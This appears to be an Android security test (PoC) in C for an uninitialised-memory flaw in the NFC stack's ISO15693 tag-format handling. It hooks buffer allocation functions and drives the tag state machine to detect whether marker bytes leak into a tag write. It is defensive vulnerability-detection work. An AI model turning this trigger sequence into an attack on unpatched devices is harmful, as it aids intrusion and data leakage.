1 /*
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include "../includes/common.h"
18 #include "../includes/memutils.h"
19 #include <stdlib.h>
20
21 char enable_selective_overload = ENABLE_NONE;
22 bool kIsVulnerable = false;
23
24 // This PoC is only for 64-bit builds
25 #if _64_BIT
26 #include <dlfcn.h>
27 #include <nfc_api.h>
28 #include <nfc_int.h>
29 #include <rw_int.h>
30 #include <tags_defs.h>
31 #define DEFAULT_VALUE 0xBE
32 #define RW_I93_FORMAT_DATA_LEN 8
33
34 // borrowed from rw_i93.cc
35 extern tRW_CB rw_cb;
36 extern tNFC_CB nfc_cb;
37 void rw_init(void);
38 tNFC_STATUS rw_i93_select(uint8_t *p_uid);
39
40 bool kIsInitialized = false;
41 void *kVulnPtr = nullptr;
42 uint16_t kVulnSize = 0;
43
44 // borrowed from rw_i93.cc
45 enum {
46 RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
47 RW_I93_STATE_IDLE, /* waiting for upper layer API */
48 RW_I93_STATE_BUSY, /* waiting for response from tag */
49
50 RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
51 RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
52 RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
53 RW_I93_STATE_FORMAT, /* performing format procedure */
54 RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
55
56 RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
57 };
58
59 // borrowed from rw_i93.cc
60 enum {
61 RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
62 RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
63 RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
64 RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
65 RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
66
67 RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
68 RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
69 RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
70
71 RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
72 RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
73 RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
74 */
75
76 RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
77 RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
78 RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
79 };
80
81 static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
82 uint16_t block_number, uint8_t *p_data) = nullptr;
83
84 static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
85 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
86
init(void)87 void init(void) {
88 real_rw_i93_send_cmd_write_single_block =
89 (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
90 RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
91 if (!real_rw_i93_send_cmd_write_single_block) {
92 return;
93 }
94
95 real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
96 if (!real_GKI_getbuf) {
97 return;
98 }
99
100 real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
101 if (!real_GKI_freebuf) {
102 return;
103 }
104
105 kIsInitialized = true;
106 }
107
GKI_getbuf(uint16_t size)108 void *GKI_getbuf(uint16_t size) {
109 if (!kIsInitialized) {
110 init();
111 }
112 void *ptr = nullptr;
113 if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
114 ptr = malloc(size);
115 memset(ptr, DEFAULT_VALUE, size);
116 kVulnPtr = ptr;
117 kVulnSize = size;
118 } else {
119 ptr = real_GKI_getbuf(size);
120 }
121 return ptr;
122 }
123
GKI_freebuf(void * ptr)124 void GKI_freebuf(void *ptr) {
125 if (!kIsInitialized) {
126 init();
127 }
128 if (ptr == kVulnPtr) {
129 free(ptr);
130 } else {
131 real_GKI_freebuf(ptr);
132 }
133 }
134
rw_i93_send_cmd_write_single_block(uint16_t block_number,uint8_t * p_data)135 size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
136 uint8_t *p_data) {
137 if (!kIsInitialized) {
138 init();
139 }
140 if (p_data == kVulnPtr) {
141 for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
142 if (p_data[n] == DEFAULT_VALUE) {
143 kIsVulnerable = true;
144 break;
145 }
146 }
147 }
148 return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
149 }
150
151 #endif /* _64_BIT */
152
main()153 int main() {
154 // This PoC is only for 64-bit builds
155 #if _64_BIT
156 enable_selective_overload = ENABLE_ALL;
157 tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
158
159 GKI_init();
160 rw_init();
161
162 uint8_t p_uid = 1;
163 if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
164 return EXIT_FAILURE;
165 }
166
167 tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
168 tNFC_CONN_EVT event = NFC_DATA_CEVT;
169 p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
170
171 tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
172 if (!p_data) {
173 return EXIT_FAILURE;
174 }
175
176 p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
177 if (!(p_data->data.p_data)) {
178 free(p_data);
179 return EXIT_FAILURE;
180 }
181
182 (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
183 p_i93->state = RW_I93_STATE_FORMAT;
184 p_i93->block_size = 7;
185 p_data->status = NFC_STATUS_OK;
186
187 p_cb->p_cback(0, event, p_data);
188
189 free(p_data);
190 enable_selective_overload = ENABLE_NONE;
191 #endif /* _64_BIT */
192 return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
193 }
194